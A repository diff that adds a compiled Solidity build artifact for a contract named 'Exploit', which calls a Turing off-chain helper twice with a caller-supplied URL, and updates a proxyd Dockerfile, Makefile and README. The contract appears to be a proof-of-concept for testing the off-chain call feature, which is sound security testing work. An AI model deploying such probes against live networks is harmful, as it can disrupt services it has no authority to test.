"0x60806040526000805534801561001457600080fd5b5060405161048a38038061048a83398101604081905261003391610058565b600180546001600160a01b0319166001600160a01b0392909216919091179055610088565b60006020828403121561006a57600080fd5b81516001600160a01b038116811461008157600080fd5b9392505050565b6103f3806100976000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80634fa2cf3f146100465780637813a93c14610062578063ff2414161461008d575b600080fd5b61004f60005481565b6040519081526020015b60405180910390f35b600154610075906001600160a01b031681565b6040516001600160a01b039091168152602001610059565b6100a061009b366004610245565b6100a2565b005b60018054604080516020808201949094528151808203909401845280820191829052630450baef60e41b9091526001600160a01b039091169163450baef0916100ef918591604401610321565b6000604051808303816000875af115801561010e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610136919081019061034f565b5060015460408051600260208201526001600160a01b039092169163450baef0918491016040516020818303038152906040526040518363ffffffff1660e01b8152600401610186929190610321565b6000604051808303816000875af11580156101a5573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526101cd919081019061034f565b50506001600055565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610215576102156101d6565b604052919050565b600067ffffffffffffffff821115610237576102376101d6565b50601f01601f191660200190565b60006020828403121561025757600080fd5b813567ffffffffffffffff81111561026e57600080fd5b8201601f8101841361027f57600080fd5b803561029261028d8261021d565b6101ec565b8181528560208385010111156102a757600080fd5b81602084016020830137600091810160200191909152949350505050565b60005b838110156102e05781810151838201526020016102c8565b838111156102ef576000848401525b50505050565b6000815180845261030d8160208601602086016102c5565b601f01601f19169290920160200192915050565b60408152600061033460408301856102f5565b828103602084015261034681856102f5565b95945050505050565b60006020828403121561036157600080fd5b815167ffffffffffffffff81111561037857600080fd5b8201601f8101841361038957600080fd5b805161039761028d8261021d565b8181528560208385010111156103ac57600080fd5b6103468260208301602086016102c556fea26469706673582212209c66e6b76bbfd97f5610f9e5888a54bade2fc3e2c8aa658ab8b0d27654b3ad1864736f6c634300080f0033", + "sourceMap": "96:413:24:-:0;;;150:1;120:31;;202:97;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;247:13;:45;;-1:-1:-1;;;;;;247:45:24;-1:-1:-1;;;;;247:45:24;;;;;;;;;;96:413;;14:290:28;84:6;137:2;125:9;116:7;112:23;108:32;105:52;;;153:1;150;143:12;105:52;179:16;;-1:-1:-1;;;;;224:31:28;;214:42;;204:70;;270:1;267;260:12;204:70;293:5;14:290;-1:-1:-1;;;14:290:28:o;:::-;96:413:24;;;;;;", + "linkReferences": {} + }, + "deployedBytecode": { + "object": "0x608060405234801561001057600080fd5b50600436106100415760003560e01c80634fa2cf3f146100465780637813a93c14610062578063ff2414161461008d575b600080fd5b61004f60005481565b6040519081526020015b60405180910390f35b600154610075906001600160a01b031681565b6040516001600160a01b039091168152602001610059565b6100a061009b366004610245565b6100a2565b005b60018054604080516020808201949094528151808203909401845280820191829052630450baef60e41b9091526001600160a01b039091169163450baef0916100ef918591604401610321565b6000604051808303816000875af115801561010e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610136919081019061034f565b5060015460408051600260208201526001600160a01b039092169163450baef0918491016040516020818303038152906040526040518363ffffffff1660e01b8152600401610186929190610321565b6000604051808303816000875af11580156101a5573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526101cd919081019061034f565b50506001600055565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610215576102156101d6565b604052919050565b600067ffffffffffffffff821115610237576102376101d6565b50601f01601f191660200190565b60006020828403121561025757600080fd5b813567ffffffffffffffff81111561026e57600080fd5b8201601f8101841361027f57600080fd5b803561029261028d8261021d565b6101ec565b8181528560208385010111156102a757600080fd5b81602084016020830137600091810160200191909152949350505050565b60005b838110156102e05781810151838201526020016102c8565b838111156102ef576000848401525b50505050565b6000815180845261030d8160208601602086016102c5565b601f01601f19169290920160200192915050565b60408152600061033460408301856102f5565b828103602084015261034681856102f5565b95945050505050565b60006020828403121561036157600080fd5b815167ffffffffffffffff81111561037857600080fd5b8201601f8101841361038957600080fd5b805161039761028d8261021d565b8181528560208385010111156103ac57600080fd5b6103468260208301602086016102c556fea26469706673582212209c66e6b76bbfd97f5610f9e5888a54bade2fc3e2c8aa658ab8b0d27654b3ad1864736f6c634300080f0033", + "sourceMap": "96:413:24:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;120:31;;;;;;;;;160:25:28;;;148:2;133:18;120:31:24;;;;;;;;162:34;;;;;-1:-1:-1;;;;;162:34:24;;;;;;-1:-1:-1;;;;;383:32:28;;;365:51;;353:2;338:18;162:34:24;196:226:28;305:197:24;;;;;;:::i;:::-;;:::i;:::-;;;365:13;;;396;;;;;;;1861:36:28;;;;396:13:24;;;;;;;;;;1834:18:28;;;396:13:24;;;;-1:-1:-1;;;365:45:24;;;-1:-1:-1;;;;;365:13:24;;;;:24;;:45;;390:4;;365:45;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;365:45:24;;;;;;;;;;;;:::i;:::-;-1:-1:-1;420:13:24;;451;;;462:1;451:13;;;1861:36:28;-1:-1:-1;;;;;420:13:24;;;;:24;;445:4;;1834:18:28;451:13:24;;;;;;;;;;;;420:45;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;420:45:24;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;494:1:24;476:15;:19;305:197::o;427:127:28:-;488:10;483:3;479:20;476:1;469:31;519:4;516:1;509:15;543:4;540:1;533:15;559:275;630:2;624:9;695:2;676:13;;-1:-1:-1;;672:27:28;660:40;;730:18;715:34;;751:22;;;712:62;709:88;;;777:18;;:::i;:::-;813:2;806:22;559:275;;-1:-1:-1;559:275:28:o;839:187::-;888:4;921:18;913:6;910:30;907:56;;;943:18;;:::i;:::-;-1:-1:-1;1009:2:28;988:15;-1:-1:-1;;984:29:28;1015:4;980:40;;839:187::o;1031:673::-;1100:6;1153:2;1141:9;1132:7;1128:23;1124:32;1121:52;;;1169:1;1166;1159:12;1121:52;1209:9;1196:23;1242:18;1234:6;1231:30;1228:50;;;1274:1;1271;1264:12;1228:50;1297:22;;1350:4;1342:13;;1338:27;-1:-1:-1;1328:55:28;;1379:1;1376;1369:12;1328:55;1415:2;1402:16;1440:49;1456:32;1485:2;1456:32;:::i;:::-;1440:49;:::i;:::-;1512:2;1505:5;1498:17;1552:7;1547:2;1542;1538;1534:11;1530:20;1527:33;1524:53;;;1573:1;1570;1563:12;1524:53;1628:2;1623;1619;1615:11;1610:2;1603:5;1599:14;1586:45;1672:1;1651:14;;;1667:2;1647:23;1640:34;;;;1655:5;1031:673;-1:-1:-1;;;;1031:673:28:o;1908:258::-;1980:1;1990:113;2004:6;2001:1;1998:13;1990:113;;;2080:11;;;2074:18;2061:11;;;2054:39;2026:2;2019:10;1990:113;;;2121:6;2118:1;2115:13;2112:48;;;2156:1;2147:6;2142:3;2138:16;2131:27;2112:48;;1908:258;;;:::o;2171:::-;2213:3;2251:5;2245:12;2278:6;2273:3;2266:19;2294:63;2350:6;2343:4;2338:3;2334:14;2327:4;2320:5;2316:16;2294:63;:::i;:::-;2411:2;2390:15;-1:-1:-1;;2386:29:28;2377:39;;;;2418:4;2373:50;;2171:258;-1:-1:-1;;2171:258:28:o;2434:381::-;2629:2;2618:9;2611:21;2592:4;2655:45;2696:2;2685:9;2681:18;2673:6;2655:45;:::i;:::-;2748:9;2740:6;2736:22;2731:2;2720:9;2716:18;2709:50;2776:33;2802:6;2794;2776:33;:::i;:::-;2768:41;2434:381;-1:-1:-1;;;;;2434:381:28:o;2820:635::-;2899:6;2952:2;2940:9;2931:7;2927:23;2923:32;2920:52;;;2968:1;2965;2958:12;2920:52;3001:9;2995:16;3034:18;3026:6;3023:30;3020:50;;;3066:1;3063;3056:12;3020:50;3089:22;;3142:4;3134:13;;3130:27;-1:-1:-1;3120:55:28;;3171:1;3168;3161:12;3120:55;3200:2;3194:9;3225:49;3241:32;3270:2;3241:32;:::i;3225:49::-;3297:2;3290:5;3283:17;3337:7;3332:2;3327;3323;3319:11;3315:20;3312:33;3309:53;;;3358:1;3355;3348:12;3309:53;3371:54;3422:2;3417;3410:5;3406:14;3401:2;3397;3393:11;3371:54;:::i", + "linkReferences": {} + }, + "methodIdentifiers": { + "call_outside(string)": "ff241416", + "significant_var()": "4fa2cf3f", + "turing_helper()": "7813a93c" + }, + "rawMetadata": "{\"compiler\":{\"version\":\"0.8.15+commit.e14f2714\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_turing_helper\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_url\",\"type\":\"string\"}],\"name\":\"call_outside\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"significant_var\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"turing_helper\",\"outputs\":[{\"internalType\":\"contract ITuringHelper\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/Exploit.sol\":\"Exploit\"},\"evmVersion\":\"london\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":200},\"remappings\":[\":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/\",\":ds-test/=lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts/=lib/openzeppelin-contracts/\",\":openzeppelin/=lib/openzeppelin-contracts/contracts/\"]},\"sources\":{\"src/Exploit.sol\":{\"keccak256\":\"0x20db8438082bd5d9e1dc60e9f11818b3bafdfc05c48e11889e138f263cae465c\",\"license\":\"UNLICENSED\",\"urls\":[\"bzz-raw://3ec811e43566c74eec4d1afc3c17a94b211aa7f9430a91a2da67e55dcb553a7c\",\"dweb:/ipfs/QmXqEVC6GMBuekV9GxD9aECBKLjikUqqEF1NTdkkXdou8C\"]},\"src/ITuringHelper.sol\":{\"keccak256\":\"0x93666fc10ef552d3a1069dc867311afb89c61c2f03f219852fc2d76c5f0e7664\",\"license\":\"UNLICENSED\",\"urls\":[\"bzz-raw://65083a18c4823abbe178223cfce976dbf05e6dfcda292e46db7381c4a5db086f\",\"dweb:/ipfs/QmZenyDV7zztV8XXhFyukxWRLPNXYKsKhVNCgbMTzE94x2\"]}},\"version\":1}", + "metadata": { + "compiler": { + "version": "0.8.15+commit.e14f2714" + }, + "language": "Solidity", + "output": { + "abi": [ + { + "inputs": [ + { + "internalType": "address", + "name": "_turing_helper", + "type": "address" + } + ], + "stateMutability": "nonpayable", + "type": "constructor" + }, + { + "inputs": [ + { + "internalType": "string", + "name": "_url", + "type": "string" + } + ], + "stateMutability": "nonpayable", + "type": "function", + "name": "call_outside" + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "significant_var", + "outputs": [ + { + "internalType": "uint256", + "name": "", + "type": "uint256" + } + ] + }, + { + "inputs": [], + "stateMutability": "view", + "type": "function", + "name": "turing_helper", + "outputs": [ + { + "internalType": "contract ITuringHelper", + "name": "", + "type": "address" + } + ] + } + ], + "devdoc": { + "kind": "dev", + "methods": {}, + "version": 1 + }, + "userdoc": { + "kind": "user", + "methods": {}, + "version": 1 + } + }, + "settings": { + "remappings": [ + ":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/", + ":ds-test/=lib/forge-std/lib/ds-test/src/", + ":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/", + ":forge-std/=lib/forge-std/src/", + ":openzeppelin-contracts/=lib/openzeppelin-contracts/", + ":openzeppelin/=lib/openzeppelin-contracts/contracts/" + ], + "optimizer": { + "enabled": true, + "runs": 200 + }, + "metadata": { + "bytecodeHash": "ipfs" + }, + "compilationTarget": { + "src/Exploit.sol": "Exploit" + }, + "libraries": {} + }, + "sources": { + "src/Exploit.sol": { + "keccak256": "0x20db8438082bd5d9e1dc60e9f11818b3bafdfc05c48e11889e138f263cae465c", + "urls": [ + "bzz-raw://3ec811e43566c74eec4d1afc3c17a94b211aa7f9430a91a2da67e55dcb553a7c", + "dweb:/ipfs/QmXqEVC6GMBuekV9GxD9aECBKLjikUqqEF1NTdkkXdou8C" + ], + "license": "UNLICENSED" + }, + "src/ITuringHelper.sol": { + "keccak256": "0x93666fc10ef552d3a1069dc867311afb89c61c2f03f219852fc2d76c5f0e7664", + "urls": [ + "bzz-raw://65083a18c4823abbe178223cfce976dbf05e6dfcda292e46db7381c4a5db086f", + "dweb:/ipfs/QmZenyDV7zztV8XXhFyukxWRLPNXYKsKhVNCgbMTzE94x2" + ], + "license": "UNLICENSED" + } + }, + "version": 1 + }, + "ast": { + "absolutePath": "src/Exploit.sol", + "id": 43276, + "exportedSymbols": { + "Exploit": [ + 43275 + ], + "ITuringHelper": [ + 43301 + ] + }, + "nodeType": "SourceUnit", + "src": "39:471:24", + "nodes": [ + { + "id": 43225, + "nodeType": "PragmaDirective", + "src": "39:24:24", + "nodes": [], + "literals": [ + "solidity", + "^", + "0.8", + ".13" + ] + }, + { + "id": 43226, + "nodeType": "ImportDirective", + "src": "65:29:24", + "nodes": [], + "absolutePath": "src/ITuringHelper.sol", + "file": "./ITuringHelper.sol", + "nameLocation": "-1:-1:-1", + "scope": 43276, + "sourceUnit": 43302, + "symbolAliases": [], + "unitAlias": "" + }, + { + "id": 43275, + "nodeType": "ContractDefinition", + "src": "96:413:24", + "nodes": [ + { + "id": 43229, + "nodeType": "VariableDeclaration", + "src": "120:31:24", + "nodes": [], + "constant": false, + "functionSelector": "4fa2cf3f", + "mutability": "mutable", + "name": "significant_var", + "nameLocation": "132:15:24", + "scope": 43275, + "stateVariable": true, + "storageLocation": "default", + "typeDescriptions": { + "typeIdentifier": "t_uint256", + "typeString": "uint256" + }, + "typeName": { + "id": 43227, + "name": "uint", + "nodeType": "ElementaryTypeName", + "src": "120:4:24", + "typeDescriptions": { + "typeIdentifier": "t_uint256", + "typeString": "uint256" + } + }, + "value": { + "hexValue": "30", + "id": 43228, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "number", + "lValueRequested": false, + "nodeType": "Literal", + "src": "150:1:24", + "typeDescriptions": { + "typeIdentifier": "t_rational_0_by_1", + "typeString": "int_const 0" + }, + "value": "0" + }, + "visibility": "public" + }, + { + "id": 43232, + "nodeType": "VariableDeclaration", + "src": "162:34:24", + "nodes": [], + "constant": false, + "functionSelector": "7813a93c", + "mutability": "mutable", + "name": "turing_helper", + "nameLocation": "183:13:24", + "scope": 43275, + "stateVariable": true, + "storageLocation": "default", + "typeDescriptions": { + "typeIdentifier": "t_contract$_ITuringHelper_$43301", + "typeString": "contract ITuringHelper" + }, + "typeName": { + "id": 43231, + "nodeType": "UserDefinedTypeName", + "pathNode": { + "id": 43230, + "name": "ITuringHelper", + "nodeType": "IdentifierPath", + "referencedDeclaration": 43301, + "src": "162:13:24" + }, + "referencedDeclaration": 43301, + "src": "162:13:24", + "typeDescriptions": { + "typeIdentifier": "t_contract$_ITuringHelper_$43301", + "typeString": "contract ITuringHelper" + } + }, + "visibility": "public" + }, + { + "id": 43244, + "nodeType": "FunctionDefinition", + "src": "202:97:24", + "nodes": [], + "body": { + "id": 43243, + "nodeType": "Block", + "src": "237:62:24", + "nodes": [], + "statements": [ + { + "expression": { + "id": 43241, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "leftHandSide": { + "id": 43237, + "name": "turing_helper", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 43232, + "src": "247:13:24", + "typeDescriptions": { + "typeIdentifier": "t_contract$_ITuringHelper_$43301", + "typeString": "contract ITuringHelper" + } + }, + "nodeType": "Assignment", + "operator": "=", + "rightHandSide": { + "arguments": [ + { + "id": 43239, + "name": "_turing_helper", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 43234, + "src": "277:14:24", + "typeDescriptions": { + "typeIdentifier": "t_address", + "typeString": "address" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address", + "typeString": "address" + } + ], + "id": 43238, + "name": "ITuringHelper", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 43301, + "src": "263:13:24", + "typeDescriptions": { + "typeIdentifier": "t_type$_t_contract$_ITuringHelper_$43301_$", + "typeString": "type(contract ITuringHelper)" + } + }, + "id": 43240, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "typeConversion", + "lValueRequested": false, + "names": [], + "nodeType": "FunctionCall", + "src": "263:29:24", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_contract$_ITuringHelper_$43301", + "typeString": "contract ITuringHelper" + } + }, + "src": "247:45:24", + "typeDescriptions": { + "typeIdentifier": "t_contract$_ITuringHelper_$43301", + "typeString": "contract ITuringHelper" + } + }, + "id": 43242, + "nodeType": "ExpressionStatement", + "src": "247:45:24" + } + ] + }, + "implemented": true, + "kind": "constructor", + "modifiers": [], + "name": "", + "nameLocation": "-1:-1:-1", + "parameters": { + "id": 43235, + "nodeType": "ParameterList", + "parameters": [ + { + "constant": false, + "id": 43234, + "mutability": "mutable", + "name": "_turing_helper", + "nameLocation": "222:14:24", + "nodeType": "VariableDeclaration", + "scope": 43244, + "src": "214:22:24", + "stateVariable": false, + "storageLocation": "default", + "typeDescriptions": { + "typeIdentifier": "t_address", + "typeString": "address" + }, + "typeName": { + "id": 43233, + "name": "address", + "nodeType": "ElementaryTypeName", + "src": "214:7:24", + "stateMutability": "nonpayable", + "typeDescriptions": { + "typeIdentifier": "t_address", + "typeString": "address" + } + }, + "visibility": "internal" + } + ], + "src": "213:24:24" + }, + "returnParameters": { + "id": 43236, + "nodeType": "ParameterList", + "parameters": [], + "src": "237:0:24" + }, + "scope": 43275, + "stateMutability": "nonpayable", + "virtual": false, + "visibility": "public" + }, + { + "id": 43274, + "nodeType": "FunctionDefinition", + "src": "305:197:24", + "nodes": [], + "body": { + "id": 43273, + "nodeType": "Block", + "src": "355:147:24", + "nodes": [], + "statements": [ + { + "expression": { + "arguments": [ + { + "id": 43252, + "name": "_url", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 43246, + "src": "390:4:24", + "typeDescriptions": { + "typeIdentifier": "t_string_memory_ptr", + "typeString": "string memory" + } + }, + { + "arguments": [ + { + "hexValue": "31", + "id": 43255, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "number", + "lValueRequested": false, + "nodeType": "Literal", + "src": "407:1:24", + "typeDescriptions": { + "typeIdentifier": "t_rational_1_by_1", + "typeString": "int_const 1" + }, + "value": "1" + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_rational_1_by_1", + "typeString": "int_const 1" + } + ], + "expression": { + "id": 43253, + "name": "abi", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": -1, + "src": "396:3:24", + "typeDescriptions": { + "typeIdentifier": "t_magic_abi", + "typeString": "abi" + } + }, + "id": 43254, + "isConstant": false, + "isLValue": false, + "isPure": true, + "lValueRequested": false, + "memberName": "encode", + "nodeType": "MemberAccess", + "src": "396:10:24", + "typeDescriptions": { + "typeIdentifier": "t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$", + "typeString": "function () pure returns (bytes memory)" + } + }, + "id": 43256, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "functionCall", + "lValueRequested": false, + "names": [], + "nodeType": "FunctionCall", + "src": "396:13:24", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_bytes_memory_ptr", + "typeString": "bytes memory" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_string_memory_ptr", + "typeString": "string memory" + }, + { + "typeIdentifier": "t_bytes_memory_ptr", + "typeString": "bytes memory" + } + ], + "expression": { + "id": 43249, + "name": "turing_helper", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 43232, + "src": "365:13:24", + "typeDescriptions": { + "typeIdentifier": "t_contract$_ITuringHelper_$43301", + "typeString": "contract ITuringHelper" + } + }, + "id": 43251, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "memberName": "TuringTxV2", + "nodeType": "MemberAccess", + "referencedDeclaration": 43295, + "src": "365:24:24", + "typeDescriptions": { + "typeIdentifier": "t_function_external_nonpayable$_t_string_memory_ptr_$_t_bytes_memory_ptr_$returns$_t_bytes_memory_ptr_$", + "typeString": "function (string memory,bytes memory) external returns (bytes memory)" + } + }, + "id": 43257, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "names": [], + "nodeType": "FunctionCall", + "src": "365:45:24", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_bytes_memory_ptr", + "typeString": "bytes memory" + } + }, + "id": 43258, + "nodeType": "ExpressionStatement", + "src": "365:45:24" + }, + { + "expression": { + "arguments": [ + { + "id": 43262, + "name": "_url", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 43246, + "src": "445:4:24", + "typeDescriptions": { + "typeIdentifier": "t_string_memory_ptr", + "typeString": "string memory" + } + }, + { + "arguments": [ + { + "hexValue": "32", + "id": 43265, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "number", + "lValueRequested": false, + "nodeType": "Literal", + "src": "462:1:24", + "typeDescriptions": { + "typeIdentifier": "t_rational_2_by_1", + "typeString": "int_const 2" + }, + "value": "2" + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_rational_2_by_1", + "typeString": "int_const 2" + } + ], + "expression": { + "id": 43263, + "name": "abi", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": -1, + "src": "451:3:24", + "typeDescriptions": { + "typeIdentifier": "t_magic_abi", + "typeString": "abi" + } + }, + "id": 43264, + "isConstant": false, + "isLValue": false, + "isPure": true, + "lValueRequested": false, + "memberName": "encode", + "nodeType": "MemberAccess", + "src": "451:10:24", + "typeDescriptions": { + "typeIdentifier": "t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$", + "typeString": "function () pure returns (bytes memory)" + } + }, + "id": 43266, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "functionCall", + "lValueRequested": false, + "names": [], + "nodeType": "FunctionCall", + "src": "451:13:24", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_bytes_memory_ptr", + "typeString": "bytes memory" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_string_memory_ptr", + "typeString": "string memory" + }, + { + "typeIdentifier": "t_bytes_memory_ptr", + "typeString": "bytes memory" + } + ], + "expression": { + "id": 43259, + "name": "turing_helper", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 43232, + "src": "420:13:24", + "typeDescriptions": { + "typeIdentifier": "t_contract$_ITuringHelper_$43301", + "typeString": "contract ITuringHelper" + } + }, + "id": 43261, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "memberName": "TuringTxV2", + "nodeType": "MemberAccess", + "referencedDeclaration": 43295, + "src": "420:24:24", + "typeDescriptions": { + "typeIdentifier": "t_function_external_nonpayable$_t_string_memory_ptr_$_t_bytes_memory_ptr_$returns$_t_bytes_memory_ptr_$", + "typeString": "function (string memory,bytes memory) external returns (bytes memory)" + } + }, + "id": 43267, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "names": [], + "nodeType": "FunctionCall", + "src": "420:45:24", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_bytes_memory_ptr", + "typeString": "bytes memory" + } + }, + "id": 43268, + "nodeType": "ExpressionStatement", + "src": "420:45:24" + }, + { + "expression": { + "id": 43271, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "leftHandSide": { + "id": 43269, + "name": "significant_var", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 43229, + "src": "476:15:24", + "typeDescriptions": { + "typeIdentifier": "t_uint256", + "typeString": "uint256" + } + }, + "nodeType": "Assignment", + "operator": "=", + "rightHandSide": { + "hexValue": "31", + "id": 43270, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "number", + "lValueRequested": false, + "nodeType": "Literal", + "src": "494:1:24", + "typeDescriptions": { + "typeIdentifier": "t_rational_1_by_1", + "typeString": "int_const 1" + }, + "value": "1" + }, + "src": "476:19:24", + "typeDescriptions": { + "typeIdentifier": "t_uint256", + "typeString": "uint256" + } + }, + "id": 43272, + "nodeType": "ExpressionStatement", + "src": "476:19:24" + } + ] + }, + "functionSelector": "ff241416", + "implemented": true, + "kind": "function", + "modifiers": [], + "name": "call_outside", + "nameLocation": "314:12:24", + "parameters": { + "id": 43247, + "nodeType": "ParameterList", + "parameters": [ + { + "constant": false, + "id": 43246, + "mutability": "mutable", + "name": "_url", + "nameLocation": "341:4:24", + "nodeType": "VariableDeclaration", + "scope": 43274, + "src": "327:18:24", + "stateVariable": false, + "storageLocation": "memory", + "typeDescriptions": { + "typeIdentifier": "t_string_memory_ptr", + "typeString": "string" + }, + "typeName": { + "id": 43245, + "name": "string", + "nodeType": "ElementaryTypeName", + "src": "327:6:24", + "typeDescriptions": { + "typeIdentifier": "t_string_storage_ptr", + "typeString": "string" + } + }, + "visibility": "internal" + } + ], + "src": "326:20:24" + }, + "returnParameters": { + "id": 43248, + "nodeType": "ParameterList", + "parameters": [], + "src": "355:0:24" + }, + "scope": 43275, + "stateMutability": "nonpayable", + "virtual": false, + "visibility": "external" + } + ], + "abstract": false, + "baseContracts": [], + "canonicalName": "Exploit", + "contractDependencies": [], + "contractKind": "contract", + "fullyImplemented": true, + "linearizedBaseContracts": [ + 43275 + ], + "name": "Exploit", + "nameLocation": "105:7:24", + "scope": 43276, + "usedErrors": [] + } + ], + "license": "UNLICENSED" + }, + "id": 24 +} diff --git a/go/proxyd/Dockerfile b/go/proxyd/Dockerfile index f6ba052ba0..b066e0ecaf 100644 --- a/go/proxyd/Dockerfile +++ b/go/proxyd/Dockerfile @@ -1,4 +1,4 @@ -FROM golang:1.18.0-alpine3.15 as builder +FROM golang:1.21.3-alpine3.18 as builder ARG GITCOMMIT=docker ARG GITDATE=docker @@ -12,7 +12,9 @@ WORKDIR /app RUN make proxyd -FROM alpine:3.15 +FROM alpine:3.18 + +RUN apk add bind-tools jq curl bash git redis COPY ./proxyd/entrypoint.sh /bin/entrypoint.sh diff --git a/go/proxyd/Makefile b/go/proxyd/Makefile index 263dc61051..049a23a3c0 100644 --- a/go/proxyd/Makefile +++ b/go/proxyd/Makefile @@ -13,9 +13,9 @@ fmt: .PHONY: fmt test: - go test -race -v ./... + go test -v ./... .PHONY: test lint: go vet ./... -.PHONY: test \ No newline at end of file +.PHONY: test diff --git a/go/proxyd/README.md b/go/proxyd/README.md index ff019ea7eb..e3ec1caad5 100644 --- a/go/proxyd/README.md +++ b/go/proxyd/README.md @@ -5,7 +5,12 @@ This tool implements `proxyd`, an RPC request router and proxy. It does the foll 1. Whitelists RPC methods. 2. Routes RPC methods to groups of backend services. 3. Automatically retries failed backend requests. -4. Provides metrics the measure request latency, error rates, and the like. +4. Track backend consensus (`latest`, `safe`, `finalized` blocks), peer count and sync state. +5. Re-write requests and responses to enforce consensus. +6. Load balance requests across backend services. +7. Cache immutable responses from backends. +8. Provides metrics the measure request latency, error rates, and the like. + ## Usage @@ -15,12 +20,127 @@ To configure `proxyd` for use, you'll need to create a configuration file to def Once you have a config file, start the daemon via `proxyd .toml`. + +## Consensus awareness + +Starting on v4.0.0, `proxyd` is aware of the consensus state of its backends. This helps minimize chain reorgs experienced by clients. + +To enable this behavior, you must set `consensus_aware` value to `true` in the backend group. + +When consensus awareness is enabled, `proxyd` will poll the backends for their states and resolve a consensus group based on: +* the common ancestor `latest` block, i.e. if a backend is experiencing a fork, the fork won't be visible to the clients +* the lowest `safe` block +* the lowest `finalized` block +* peer count +* sync state + +The backend group then acts as a round-robin load balancer distributing traffic equally across healthy backends in the consensus group, increasing the availability of the proxy. + +A backend is considered healthy if it meets the following criteria: +* not banned +* avg 1-min moving window error rate ≤ configurable threshold +* avg 1-min moving window latency ≤ configurable threshold +* peer count ≥ configurable threshold +* `latest` block lag ≤ configurable threshold +* last state update ≤ configurable threshold +* not currently syncing + +When a backend is experiencing inconsistent consensus, high error rates or high latency, +the backend will be banned for a configurable amount of time (default 5 minutes) +and won't receive any traffic during this period. + + +## Tag rewrite + +When consensus awareness is enabled, `proxyd` will enforce the consensus state transparently for all the clients. + +For example, if a client requests the `eth_getBlockByNumber` method with the `latest` tag, +`proxyd` will rewrite the request to use the resolved latest block from the consensus group +and forward it to the backend. + +The following request methods are rewritten: +* `eth_getLogs` +* `eth_newFilter` +* `eth_getBalance` +* `eth_getCode` +* `eth_getTransactionCount` +* `eth_call` +* `eth_getStorageAt` +* `eth_getBlockTransactionCountByNumber` +* `eth_getUncleCountByBlockNumber` +* `eth_getBlockByNumber` +* 